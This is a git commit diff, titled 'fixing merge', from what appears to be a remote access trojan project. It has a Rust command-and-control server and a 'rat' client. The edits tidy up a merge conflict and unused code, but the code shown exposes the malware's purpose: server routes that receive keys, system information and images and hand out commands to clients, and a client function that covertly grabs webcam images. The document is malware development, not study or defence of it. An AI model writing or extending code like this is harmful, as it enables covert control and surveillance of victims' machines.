fixing merge

Cargo.lock

@@ -201,7 +201,6 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
 name = "c2"
 version = "0.1.0"
 dependencies = [
- "chrono",
  "rocket",
  "rocket_dyn_templates",
  "rocket_sync_db_pools",

c2/src/main.rs

@@ -38,15 +38,11 @@ fn rocket() -> _ {
     // load rocket
     let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing()); 
     println!("Connecting to database ...");
-<<<<<<< c2/src/main.rs
-    build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands, post_image])
-=======
     build.mount("/", 
         routes![home, post_key, get_json_keys, get_html_clients, 
         post_systeminfo, post_new_command, get_json_commands, 
         post_command, get_new_commands, get_delete_command
     ])
->>>>>>> c2/src/main.rs
     .mount("/static", FileServer::from("c2/templates/static"))
     .mount("/client/data", FileServer::from("./data"))
     .register("/", catchers![not_found, internal_error])

c2/src/routes.rs

 use rocket::form::Form;
-use rocket::{get, post, Data};
+use rocket::{get, post};
 use rocket::{State, http::Status, serde::json::Json, response::status};
 use std::sync::Mutex;
 use crate::backup::{DataFile, DataType};

rat/src/camera.rs

@@ -33,7 +33,7 @@ pub async fn sniff_image() -> Result<(), ClientError> {
 
     let mac_address = get_mac_address()
         .map_err(|_e| io::Error::from_raw_os_error(1))?;
-    let params = dev.params()?;
+    let _ = dev.params()?;
     //println!("Active device parameters:\n{}", params);